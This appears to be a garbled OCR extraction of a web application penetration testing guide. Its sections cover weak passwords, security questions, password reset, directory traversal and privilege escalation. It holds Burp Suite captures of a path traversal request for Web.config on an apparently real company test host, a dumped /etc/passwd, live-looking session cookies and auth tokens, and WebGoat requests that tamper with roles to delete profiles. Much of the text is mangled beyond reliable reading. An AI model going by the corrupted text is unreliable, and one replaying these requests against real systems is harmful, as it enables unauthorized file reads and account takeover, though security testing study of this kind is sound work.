<pre>Accept-Encoding: gsip, deflate Befere: http://violympic.vm/register Content-Type: application/json;charset=utf=8 X-TS-AJXX-Request: true Content-Inenght: 388 Cookie: lang=vi-VW; sac=8657faS=eb0c=4751=8673=96511a80ba0d; TS01cf5343=01c5dae002c0f2bbbbb00f114b481f940683affc46737bdbaae85a4267756ba06ed6a181cf34b528227efb348518c3138b155bb737c337533e1e74dd53db404a5f993a5113846983f7c20c _gga=GA1.2.567231181.1515951182; gid=GA1.2.101925563.1515951182; _ggad=ID=abda08cfd8a5ba67:T=1515951183:S=ALWI_MZx04BuWnrawvdiPnaUvTb1Fc0t7A; connect.sid=st3APsCXVT331bLC5HS_se3NKC5YT2afTgs.SdjBteV33DYUUHIwcuhhU0VZBAES14t2BL0v3ftsE18t2Ft0s Connect.sid=st3APsCXVT331bLC5HS_se3NKC5YT2afTgs.SdjBteV33DYUUHIwcuhhU0VZBAES14t2BL0v3ftsE18t2Ft0s</pre>	Accept-Language: en-GB,en;q=0.5
<pre>Befere: http://violympic.mv/register Content-Type: application/json;charset=utf=8 X-TS-AJXA-Bequest: true Content-Length: 399 Coolie: lang=vi-VN; sac=8657ffaS-eb0c=4751-8d73-96911a80ba0d; TSOLcf5343=0Lc5dae00c=0fIDbbbd00f114b481f740683affc46737bdbae89a4267756ba06ed6a181cf34b528227efb348518c3138b159bb737c337533e1e74dd53db404a5f993a9113846583f7c20c _gac&Al.2.567231101.1515991182 _gid=6Al.2.1.2101255563.1515991182; _gads=ID=abda08cfd8a5ba67:T=1515991183:S=ALNT_MZxQ4Bu%mrawvdiPnaUv7bLFc0t7A; connect.sid=s\$3A9sCXVTJ315bLC5HS_se3NKC5YTCaffgs.SdjBteV33DYUUHIwcuhhU0VZBABS14\$2BL0v3f\$2B185Ftb5 Connect.sid=s\$3A9sCXVTJ315bLC5HS_se3NKC5YTCaffgs.SdjBteV33DYUUHIwcuhhU0VZBABS14\$2BL0v3f\$2B185Ftb5</pre>	Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf=8 X-TS-AJAX-Request: true Content-Length: 39 Cookie: langevi-VN; sac=8657ffa9-eb0c-4751-8d73-96911a80ba0d; TS01cf54340-01c54ae002c0f2bbbbd00f114b481f740683affc46737bdbaae9s4267756ba05ed6a181cf34b528227efb348518c3138b159bb737c337533e1e74dd53db404a5f993a9113846983f7c20c _ga=GA1.2.567231181.1515991182; _gid=GA1.2.101925563.1515991182; _gads=ID=abda08cfd8a9ba67:T=1515991183:S=ALNI_MZxQ4BuWnrawvdiPnaUvYbLFc0t7A; connect.sid=s\$3A9sCXVTJ315bLC5HS_3e3NKC5YT2afTgs.SdjBteV33DYUUHIwcuhhU0VZBARS14\$2BL0v37\$2B184CFt0s	Referer: http://violympic.vn/register
X-TS-JAX-Request: true Content-length: 398 Cookie: lang=vi-VW; sac=9657ffaS=eb0c=4751=0d73=96511a00ba0d; TS0Lcf5343=01c5dae00c=0f2bbbbbd00f114ba01f740683affc46737bdbaae0s4267756ba06ed6a181cf34b528227efb348518c3138b159b5737c337533e1e74dd53db404a5f953a5113846593f7c20c _ga=cA1.2.567231081.1515951182; gid=cA1.2.2101925563.1515991182; _gads=ID=abda08cfd8a5ba67:T=1515991183:S=ALNI_MZxQ4BuWnrawvdiPnaUvYbLFc0t7A; connect.sid=st3A9sCXVTJ315bLC5HS_9e3NKC5YTCafTgs.SdjBteV33DYUUHIwcuhhU0VZBARS14t2BL0v37t2B18t2Ft0s Connect.sid=st3A9sCXVTJ315bLC5HS_9e3NKC5YTCafTgs.SdjBteV33DYUUHIwcuhhU0VZBARS14t2BL0v37t2B18t2Ft0s	Content-Type: application/json;charset=utf-8
Content-Length: 388 Cookie: lang=vi-VN; sac=0657ffa9-eb0c-4751-0d73-96911a00ba0d; TSOLef54340510c5da00Cc0f2bbbbd00f114b401f740603affc46737bdbaae09a4267756ba06ed6a181cf34b520227efb340510c3138b159bb737c337533e1e74dd53db404a5f993a5113046903f7c20c _ga=CA1.2.56723101.1515991102; gid=CA1.2.2101925563.151599102; _gads=1D=abda006cfd8a9ba67:T=1515991103:S=ALNI_MZx04BuWnrawvdiPnaUvYbLFc0t7A; connect.sid=st3APsCXVTJ315bLC5HS_3e3NK25YT2afTgs.SdjBteV33DYUUHIwcuhbU0VZBARS14t2BL0v37t2B1052F05 Connect.sid=st3APsCXVTJ315bLC5HS_3e3NK25YT2afTgs.SdjBteV33DYUUHIwcuhbU0VZBARS14t2BL0v37t2B1052F05	X-TS-AJAX-Request: true
Cookie: langewi-WH; sac=8657ffa9-eb0c-4751-8473-9591180ba0d; T501cf5343501c534902c00f1bb801f740803affc46737bdbaae09a4267756ba06ed6a181cf34b528227efb348518c3138b155bb737c337533e1e74dd53db404a5f993a9113846983f7c20c _ga=GA1.2.567231181.1515991182; gid=GA1.2.101925563.1515991182; _gads=ID=abda08cfd8a5ba67:T=1515991183:S=ALNI_NZ×04BuWnrawvdiPnaUvYbLFc0t7A; connect.sid=s\$3A9sCXVTJ315bLC5HS_3e3NKC5YT2affgs.SdjBteV33DYUUHIwcuhhU0VZBAES14%2BL0v37%2B18%2Fc0s Connect.sid=s\$3A9sCXVTJ315bLC5HS_3e3NKC5YT2affgs.SdjBteV33DYUUHIwcuhhU0VZBAES14%2BL0v37%2B18%2Fc0s	Content-Length: 398
<pre>TS01cf5343=01c5dae002c0f2bbbbd00f114b481f740683affc46737bdbaae89a4267756ba06ed6a181cf34b528227efb348518c3138b159bb737c337533e1e74dd53db404a5f993a9113846983f7c20c _ga=CAL.2.56723101.151591182; _gid=CAL.2.2101925563.1515991182; _gads=1D=abda08cfd8a9ba67:T=1515991183:S=ALNI_MZxQ4BuWnrawvdiPnaUvYbLFc0t7A; connect.sid=s*3APsCXVTJ315bLC5HS_3e3NK25YT2afTgs.SdjBteV33DYUUHIwcuhHU0VZBARSI4*2BL0v3T*2B18*2Ft0s Connection: close</pre>	Cookie: lang=vi-VN; sac=8657ffa9-eb0c-4751-8d73-96911a80ba0d;
	<pre>TBOLCE5343=OLC5dae00Cc0f1bbbd00f1ldb401f40683affc46737bdbaae0544267756ba06ed6al8Lcf34b52827efb340510c5130b155bb737c33753e1e74dd53db404a5f953a5113046903f7c20c _gq=cAl.2.56723101.1515951182; gid=CAl.2.1019255453.1515951182; _gad=tD=abd00efdd8bba7: T=151596183:S=ALNI_MZx04BuWnrawvd1PnaUv7bLFc0t7A; connect.sid=s13APsCXVTJ315bLC5HS_te3NXC5YTCaffgs.SdjBteV33DYUUHIwcubhU0VZBARS14%2BL0v37%2B10%2Ft0s</pre>

est Response	
Headers Hex	
1 200 OK	
rtion: close	
Control: no-cache	
: no-cache	
P-Action: 2	
t-Type: text/html; charset=utf-8	
t-Length: 111	

The requested URL was rejected. Please consult with your administrator. Your support ID is: 9313826866774079780

Make sure password does not same username

Login	
Password	
Submit	

You can use any of the following accounts for this test system. foo : foo sue : sue bob : bob

8. Testing for weak security Question/Answer

How to test:

Make sure no shared knowlegde secret question

Create your EA Accour	t
Public ID	Claim your unique display name. This will be your public identity across EA games and sites
Password	Your password must be 8 - 16 characters, and include at least one lowercase letter, one uppercase letter, and a number.
Confirm Password	
Security Question	
Choose a question	-
What was your first girlfriend or boyfriend's nar	me?
What was the name of your childhood best frie	end?
What was the make and model of your first can	?
What was your dream job as a kid?	
What is the name of your favorite cartoon?	*

9. Testing for weak password change or reset function

Test objectives

Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.

Determine the resistance of the passwords reset functionality against guessing or bypassing

How to Test

If users, other than administrators, can change or reset passwords for accounts other than their own.

If users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.

If the password change or reset process is vulnerable to CSRF.

Authorization Testing

1. Testing Directory traversal / file include

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

- Input Vectors Enumeration
- Testing Techniques

Example:

• In Window IIS

694	https://epaymenttesting.nashtec	GET /request/GetFileF	ByFileName?path=c1b3	1	200	10990	XML			1	192.168.195.15	
												2
Requ	Response											
Raw	Params Headers Hex											
GET /r	equest/GetFileByFileName?	ath=c1b33616-4048-4	a76-9ee8-c36fd67a7964	1\\\We	b.configs	ntAccount	t=CHAULAM HTTP/J	1				
Host:	epaymenttesting.nashtechg	obal.com										
User-A	gent: Mozilla/5.0 (Windows	. NT IU.U; Win64; x6	(m1:ss0.0) Gecko/20.	LUUIUI Firefo	x/58.0							
Accept	-Language: en-GE en:g=0 5	cmitami, application	/xmi,q=0.5,~/~,q=0.8									
Accept	-Encoding: ggin deflate											
Cookie	RequestVerificationTol	en=c2fC5dgaU9Kd5a2f	f-ECYhlTWabpalWoJV5	dkzKYznWobiN	ShiCthiny	ZmlXat2	CHFCokaL6U0geK0E	rk8Y02EWspSL139F	P14AV0Uo01;			
ASPXA	UTH=4F22CA390B13E06813FCF	0781BB9AE3EC9EC9AF4	F7D64D27DB48979C3081	78618F4A766CA	33D51FC52	D409563B	ESODBFDA39FF657E	6DA1417COD485119	9D139728AC70CE12BF3	252F731FF7BH	EB41B0AF42EE7C2854992C1A97	17
8502FA	EOEFD8C397F6C0376731A5DFF	7B92400A41995D01A23	AB593EA7DA4D69E480711	AB8682771CDC	SC49D05BA	C7B70B60	4FDD577C3B6206CJ	1C294FC956F96AF6	022262C44523DB2E990	CBFB883E1D88	6D47E9A23783CBBC19D31773D2	A.
101011	ASFFA3C652D121C05D3FAE1E4.	ESFDECD96BF174A06CF	CA6CD02C8E54518F1620	BDA01B2AAC41D	4DF6FD383	F93BB726	262D0D6722F664DD	BB3695D7370E5DCF	D5C8F07C3DCE3065C41	1D29CBD5C933	2FFDFF3D1F0A4803FEC81D2179	9
B35878	84E5162036EEE3BC1990785A0	4A3DEF98938F38DFC4D	CFFF89B37DAD4F6178019	99BC71FFD522E	IECA381A3	45DCE4C1.	A9B5AC899F2EBAD8	SBF32F22C6F414D0	B5E8133EC094B93C9F9	9AB09840587I	DA133F7768008E1AB4D5E405CE	15
09A3DE	25F491773D3219B9A0243AE8A	DFB99DF6FAC476FBA99	BEOOFF29253B594B3FFA'	CO138DOE8ECF	EBB5ABA74	EE6D6296	4466A1833C09345D	B9FD6D2486356A21	16E6FC3FD501A14194E	BF330899093#	A2C883B9AD5FDCA010E76036FD	14
82BD89	2F51A9089DA652E920C98F816.	DC97CD3F7C2FC47AC15.	ALASCA7D8334AC89CA56B	896A3427E69BF	769E9D789	OF1D28CF	E08FC6B798847483	2E50C32F77CD6349	38D2121397341B14860	C93B828B0078	BC8437006971229500EC5A473A	16
7DAD46	5ACBA11E81741C03A228437C9	D4A192D16B3B63B7DC8	3CC41DE1C35E7A89E6500	BB5B9EC7FD1C	6C13B4B2F	B634ECAF	342F4A284B809053	B92F4FBAAA57C57A	DSDSOECE16A48F55E76	6284DA32F174	4E211AE64A12E6C0D3E75433EC	1
Connec	tion: close											
Upgrad	e-Insecure-Requests: 1											

🤞 about:newtab 🛛 🗙 🕂	
Q https://epaymenttesting.nashtechglobal.com/request	t/GetFileByFileName?path=c1b33616-4048-4a76-9ee8
Opening GetFileByFileName	×
You have chosen to open: GetFileByFileName which is: application/octet-stream (10.4 kB) from: https://epaymenttesting.nashtechglobal.com What should Firefox do with this file? O Open with Browse	
Save File Do this <u>a</u> utomatically for files like this from now on.	Cancel

• In Linux Apache



rootx:0:0:root//orot/bin/bash daemon:x:1:1:daemon/usr/sbin/bin/sh bin:x:2:2:bin/bin/bin/bin/sh sys:x:3:3:sys:/dev/.bin/sh sync:x:4:65534:sync:/bin/ /bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mai:x:8:8:maii:/var/maii: /bin/sh news:x:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin/sh in:x:2:3:3:33:3wwdata:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list/bin/sh irc:x:39:39:ircd/var/run/ircd:/bin/sh gats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:05534:nobody:/nonexistent/bin/sh libuuid:x:100:101::/var /lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:105:MySQL Server,,,:/var/lib/mysql: /bin/false landscape:x:104:122::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL administrator,,;/var/lib/postgresql:/bin/bash messagebus:x:107:114::/var/run/bus:/bin/false tomcat6::x:108:115::/usr/share/tomcat6:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash polkituser:x:109:118:PolicyKit,,.:/var/run/PolicyKit:/bin/false postfix:x:112:123::/var/spool/postfix:/bin/false

2. Testing for Privilege Escalation

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, a such elevation or changes should have been prevented by the application. This is

usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer system administrator.

How to Test

• Testing for role/privilege manipulation

Test Example

Welcome Back Larry - Sta	aff Listing Page	٢
Select from the list below	SearchStaff ViewProfile Logout	



Solution Videos										
	Sequencer	Decoder	Comparer	Extender	Project op	otions l	Jser options	s Al	erts	
Stage 1	Target	Proxy	Spider	Sca	inner	Intruder	1	Repeater		
stage 1: Bypass Presentational Layer Access Control. Is regular employee "Tom', exploit weak access contro Staff List page. Verify that Tom's profile can be deleted, jiven names in lowercase (e.g. the password for Tom (to Intercept HTT Cat Filter: Hiding CSS,	P history Webs	Sockets history	Options					?	
	# Host		Method	URL			Params	Edited	S	
Soat Hills Financia	2607 http://192	168 222 136	GET	/WebGoat/i	avascript/make	Window is			3	
Human Resources	2608 http://192	168.222.136	GET	/WebGoat/i	avascript/togol	e.is			3	
	2613 http://192	.168.222.136	GET	/WebGoat/j	avascript/javas	cript.js			3	
Welcome Back John - Staff Listing Page	2614 http://192	.168.222.136	GET	/WebGoat/j	avascript/lesso	nNav.js			3	
	2626 http://192	.168.222.136	GET	/WebGoat/i	mages/menu_in	nages/1x1_o			4	
	2636 http://192	.168.222.136	POST	/WebGoat/a	attack?Screen=	65&menu=200	~		2	
Colort from the list holow	2640 http://192	.168.222.136	GET	/WebGoat/j	avascript/make	Window.js			3_	
Select from the list below	2642 http://192	.168.222.136	GET	/WebGoat/j	avascript/menu	_system.js			3	
Larry Stooge (employee) Moe Stooge (manager) Curly Stooge (employee) Eric Walker (employee) Tom Cat (employee) Jorny Mouse (hr) David Giambi (manager) Bruce McGuirre (employee) Sean Livingston (employee) Joanne McDougal (hr) John Wayne (admin)	Request Resp Raw Params Accept: text/l Accept-Languag Accept-Encodin Referer: http: Content-Type: Content-Lengtl Cookie: dbx-pa security_level acgroupswithpy Server=b3dhc3l Authorization: Contention: cC	Headers He Headers He tatml, applicat ge: en-GB,en gg: gzip, de ://192.168.2: application, : 36 Ostmeta=grab. =0; acopend Sid2E=; JSES: : Basic dZVI: lose ure-Requests	x tion/xhtml+xm ;q=0.5 flate 22.136/WebGoad /x-www-form-u ti=0-,1-,2-,3 tvids=swingse PHPSESSID=4f SIONID=E15122 Z25hdDp3ZWJnb : 1	1, applicat t/attack?? rlencoded -,4-,5-,6- t,jotto,pl m02fkqqdm S304320B6F 2F0	ion/xml;q= Screen=654m -4adwanceds npbb2,redmi i61so702 7A9AAlF46E2	0.9,*/*;q= enu=200 tuff=0-,1- ne; mbb0; D2B998	0.8			
	employee_id=1	ll&action=De	leteProfile							

2042 6	tto-//100 160 000 100	DOCT	MahCast/attack2Caraga_652mapu_200	./ ./	200	22524	ити		LAD:	Dala Rasad Assas
3045 h	http://192.166.222.136	GET	/WebGoat/attack/Screen=os&menu=200 /WebGoat/iavascript/topole is	v v	200	230	script	is	LAD.	Role Based Acces
3048 h	nttp://192.168.222.136	GET	/WebGoat/iavascript/makeWindow.is		304	229	script	js is		
3049 h	nttp://192.168.222.136	GET	/WebGoat/javascript/menu_system.js		304	230	script	js		
3050 h	nttp://192.168.222.136	GET	/WebGoat/javascript/javascript.js		304	229	script	js		
3051 h	nttp://192.168.222.136	GET	/WebGoat/javascript/lessonNav.js		304	230	script	js		
3064 h	http://192.168.222.136	GET	/WebGoat/images/menu_images/1x1_o		404	1368	HTML	gif	Apac	che Tomcat/6.0.24
						_				
Original	I request Edited request	Response								
Raw	Params Headers Hex									
POST /We Host: 19	ebGoat/attack?Screen 92.168.222.136	n=65&menu=20	0 HTTP/1.1							
User-Age	ent: Mozilla/5.0 (W	indows NT 10	0.0; Win64; x64; rv:58.0) Gecko/	20100101 Firef	ox/58.0					
Accept:	text/html,applicat	ion/xhtml+xm	ul, application/xml;q=0.9,*/*;q=0	. 8						
Accept-1 Accept-H	Language: en-GB,en; Encoding: gzip. def.	I=U.S Late								
Referer:	: http://192.168.22	2.136/WebGoa	t/attack?Screen=65&menu=200							
Content-	Type: application/	-www-form-u	urlencoded							
Content-	-Length: 34	-0-1-2-2	- 4 - 5 - 6 - 6 - 6 - 6 - 0 - 1 -	2- · · · · · · · · · · · ·					a shahha	
PHPSESSI	ID=4fm02fkggdmii6ls	5=0-,1-,2-,3 57622mnhlr0;	<pre>Server=b3dhc3Bid2E=; JSESSIONIE</pre>	=E151225304320	EGFA9AA1H	46E2D2B9	1 ds =swin 98	igset,jot	co,pnpnn2,	,redmine; acgroupswithpersist=hada;
Authoriz	zation: Basic d2ViZ	9hdDp3ZWJnb	270							
Connecti	ion: close									
Upgrade-	-Insecure-Requests:	1								
employee	e_id=102&action=Edit	Profile								
3043 h	http://192.168.222.136	POST	/WebGoat/attack?Screen=65&menu=200	√ √	200	33531	HTML	2	LAB:	Role Based Acces
3043 h 3046 h	http://192.168.222.136 http://192.168.222.136	POST GET	/WebGoat/attack?Screen=65&menu=200 /WebGoat/javascript/toggle.js	√ √	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h	http://192.168.222.136 http://192.168.222.136	POST GET	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	√ √	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original	ttp://192.168.222.136 ttp://192.168.222.136 request Edited request	POST GET Response	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	V V	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original	ttp://192.168.222.136 http://192.168.222.136 request Edited request Params Headers Hex	POST GET Response	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	J J	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We	ittp://192.168.222.136 ittp://192.168.222.136 request Edited request Params Headers Hex ebGoat / act actr ? Screen	POST GET Response	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	✓ ✓	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19	ttp://192.168.222.136 http://192.168.222.136 request Edited request Params Headers Hex abGoat/attack?Screet 20.166.202.136	POST GET Response	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	J J	200 304	33531 230	HTML script	js	LAB	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19 User-Age	ttp://192.168.222.136 ttp://192.168.222.136 request Edited request Params Headers Hex abGoat/attack?Screen 20.168.222.136 ent: Mosilla/5.0 (W.	POST GET Response ==656menu=20 .ndows NT 10	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js	√ √	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19 User-Age Accept-L	the//192.168.222.136 the//192.168.222.136 Params Headers Hex bGoat/attack?Screen 52.168.222.136 mt. Mosilia/5.0 (W. text/html,applicat. Lammange: en-CB, ng:	POST GET Response 1=654menu=20 .ndows NT 10 .on/xhtml+xm =0.5	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Geckro/ 1, application/xml;q=0.9,*/*;q=0	✓ ✓ 20100101 Firef .8	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19 User-Age Accept-I Accept-E	trip//192.168.222.136 ttp://192.168.222.136 Params Headers Hex =bGoat/attackr?Screen Sc.168.222.136 ent: Mosilia/5.0 (Without text/html,applicat: Language: en-GB,en; Encoding: gsip, def	POST GET Response a=654menu=20 .ndows NT 10 .on/xhtml+xm [=0.5] .ate	WebGoat/attack?Screm=65&menu=200 WebGoat/javascriptfoggle js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Gecko/ 1, application/xml;q=0.9,*/*;q=0	√ √ 20100101 Firef .8	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19 User-Age Accept: Accept: Accept: Referer:	titp://192.168.222.136 ittp://192.168.222.136 ittp://192.168.222.136 Params Headers Hex beGoat/attack?Screen beGoat/attack?Scre	POST GET Response =654menu=20 .ndows NT 10 .on/xhtml+xm =0.5 .ate :.136/WebGoa	<pre>///webGoat/attack?Screen=65&menu=200 //webGoat/javascript/toggle.js // HTTP/1.1 1.0; Win64; x64; rv:58.0) Gecko/ 1, application/xml;q=0.9,*/*;q=0 /t/attack?Screen=65&menu=200</pre>	√ √ 20100101 Firef .8	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 19 User-Age Accept-L Accept-E Referer: Content-C	request Edited request Params Headers Hex bGoat/attack?Screen Sc. 168.222.136 Headers Hex bGoat/attack?Screen Sc. 168.222.136 mt: Mosilia/S.0 (%) text/html,applicat: imquage: en-CB,n; http://192.168.222 Type: application/: Jearsh 2:	POST GET Response ==654menu=20 .ndovs NT 10 .on/xhtml+xm [r0.5 .ate .136/WebGoa .:us/WebGoa	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle.js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Geckc/ 1, application/xml;q=0.9,*/*;q=0 at/attack?Screen=65&menu=200 rilencoded</pre>	✓ ✓ 20100101 Firef	200 304	33531 230	HTML script	zi zi	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST / We Host: 159 Accept: Accept: Accept: Content- Content- Content- Cookie:	thr//192.168.222.136 thr//192.168.222.136 thr//192.168.222.136 Params Headers Hex abGoat/attackr?Screen Sc.168.222.136 thr: Mosilla/S.0 (W text/html,applicat: Language: en-GB,en; Incoding: gsip, def; http://192.168.22: Type: application/; Language: a-GB,en; Incoding: gsip, def; http://192.168.22: Type: application/; Length: 36	POST GET Response ==654menu=20 .ndows NT 10 .on/xhtml+xm =0.5 .ate :.136/WebGoa :-uww-form-u ==0-,1-,2-,3	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle.js ////////////////////////////////////</pre>	V V 20100101 Firef .0 2-; security 1	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 User-Age Accept: Accept: Accept: Content- Content- Content- Cookie: PHDSESSI	<pre>ity/192.168.222.136 ittp://192.168.222.136 ittp://192.168.222.136 Params Headers Hex ebGoat/attackr?screes cl.160.c22.136 ant: Mozilla/s.0 (W. text/html,applicat: anguage: en-GB.en; fincoding: gzip, def : http://192.166.22: -Type: application/: -Length: 36 dbx=postmeta=grabit D=4 fm02 freqdmiif38</pre>	POST GET Response ==654menu=20 .ndows NT 10 .on/xhtml+xm =0.5 .136/WebGoa :-www-form-u :=0-,1-,2-,3 .70c2gnhk0;	<pre>///webGoat/attack?Screen=65&menu=200 //webGoat/javascript/toggle js ///webGoat/javascript/toggle js ////webGoat/javascript/toggle js ////////////////////////////////////</pre>	V V 20100101 Firef .8 2-; security_1 =2151225304320	200 304	33531 230	HTML script	js	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 User-Age Accept: Accept: Accept: Accept: Content- Content- Content- Content- Content-	request Edited request Params Headers Hex bGoat/attack?Screen Sc.166.222.136 Headers Hex bGoat/attack?Screen Sc.166.222.136 mt: Mosilia/S.0 (W text/html,applicat: impunge: en-OB,en; incoding: gsip, def: http://192.168.22; dbx-postmeta=grabit D=4 fm02 frqcdmills; sation: Basic d2V12;	POST GET Response 1=654menu=20 .ndows NT 10 .on/xhtml+xm [=0.5 .ate 136/WebGoa 136/WebGoa 136/WebGoa 137.2000.00000000000000000000000000000000	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle.js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Gecko/ 1, application/xml;q=0.5,*/*;q=0 t/attack?Screen=65&menu=200 rlencoded :,4-,5-,6-&advancedstuff=0-,1-, Server=b3dhc3Bid2E=; JSESSIONID 20	✓ ✓ ✓ 20100101 Firef .8 2~; security_1 =B151275304320	200 304 0x/58.0	33531 230	HTML script ids=swin 98	j\$	LAB:	Role Based Acces
3043 h 3046 h Original POST /We Host: 15 User-Age Accept-I Accept-I Accept-I Content-	http://192.168.222.136 http://192.168.222.136 Params Headers Hex abGoat/attack?Screen 52.168.222.136 http://attack?Screen 52.168.222.136 http://attack?Screen 52.168.222.136 http://screen http	POST GET Response =656menu=20 .ndows NT 10 .on/xhtml+xm =0.5 .ate :136/WebGoa :-uswy-form-u :=0-,1-,2-,3 70022gnhk0; :9hdDp32WJnb	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle js //WebGoat/javascript/toggle js ////////////////////////////////////</pre>	20100101 Firef .0 2-; security_1 =B151225304320	200 304 ox/50.0 evel=0; a E6FA9AA1F	33531 230	HTML script ids=swin 98	js .gset,jot	LA8:	Role Based Acces
3043 h 3046 h Original POST /We Host: 15 Accept-I Accept-I Accept-S Content- Content- Cookie: PHPSESSI Authoriz Connecti Upgrade-	thy//192.168.222.136 thtp://192.168.222.136 Tequest Edited request Params Headers Hex abGoat/attack?Screen Sc.168.222.136 Heading Screen Sc.168.222.136 Heading Screen Heading Screen	POST GET Response ==656menu=20 dows NT 10 on/xhtml+xm [r0.5] dows NT 10 dows N	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle.js ////////////////////////////////////</pre>	V V 20100101 Firef .8 2-; security 1 =R151225304320	200 304 ox/58.0 evel=0; a E6FASAAIB	33531 230	HTML script	js Igset, jot	LAB:	Role Based Acces
3043 h 3046 h Original Post /We Host: 1S User-Age Accept-I Accept-I Refere:: Content- Content- Content- Content- Content- Content- content- employee	<pre>ity/192 168 222 136 ity/192 168 221 136 ity/192 168 221 ity/192 168 221 ity/192 168 221 itype: application/: -Length: 36 dbx=postate1=grabit D=4 fbu2 ftrqdmiif38 tation: Basic d2Vizi ton: close -Insecure=Requests: a_id=1026action=Del </pre>	POST GET Response ==654menu=20 .ndows NT 10 .on/xhtml+xm [=0.5 .136/WebGoa :-www-form-u :=0-,1-,2-,3 .95/WebGoa :-www-form-u :=0-,1-,2-,3 .95/WebGoa :=0-,2-,3-,3 .95/WebGoa :=0-,2-,3-,3-,3-,3-,3-,3-,3-,3-,3-,3-,3-,3-,3-	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle.js ////////////////////////////////////</pre>	V V 20100101 Firef .8 2-; security_1 =R151225304320	200 304 ox/58.0	33531 230	HTML script	js Igset, jot	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 User-Age Accept-L Accept-L Accept-Content- Content- Content- Content- Content- Content- Content- Content- Content- content-	request Edited request Params Headers Hex bGoat/attack?Screen Scl68.222.136 Headers Hex bGoat/attack?Screen Scl68.222.136 http://192.168.222 http://192.168.22	POST GET Response ==654menu=20 .ndows NT 10 .on/xhtml+xm ==0.5 .ate :136/WebGoa :-www-form-u :=0-,1-,2-,3 77022gmhk0; :9hdDp32WJnb 1	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Geckro/ 1, application/xml;q=0.9, */*;q=0 t/attack?Screen=65&menu=200 rlencoded -,4-,5-,6-&advancedstuff=0-,1-, Server=b3dhc3Bid2E=; JSESSIONID 270</pre>	✓ ✓ ✓ 20100101 Firef .8 2-; security_1 =B151205304320	200 304	33531 230	HTML script	js .gset,jot	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 USer-Age Accept-1 Accept-1 Accept-1 Accept-1 Content- Conte	request Edited request Params Headers Hex bGoat/attack?Screen 20.168.222.136 Headers Hex bGoat/attack?Screen 20.168.222.136 http://150.114/5.0 (W text/html,application/; Encoding: gsip, def. http://150.168.221 -Type: application/; -Length: 36 dbx-postmeta=grabit DD=4fm02frgdmii61s; sation: Basic d2Vi21 ton: close -Insecure-Requests: a_id=1024action=Dele	POST GET Response ==656menu=20 .ndows NT 10 .on/xhtml+xm ==0.5 .ate :.136/WebGoa ::136/WebGoa ::136/WebGoa ::136/WebGoa ::125/WebGoa	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle.js ///WebGoat/javascript/toggle.js ////////////////////////////////////</pre>	V V 20100101 Firef .0 2-; security 1 =B151225304320	200 304 ox/50.0 evel=0; a EGFASAAIF	33531 230	HTML script	js Igset,jot	LAB:	Role Based Acces
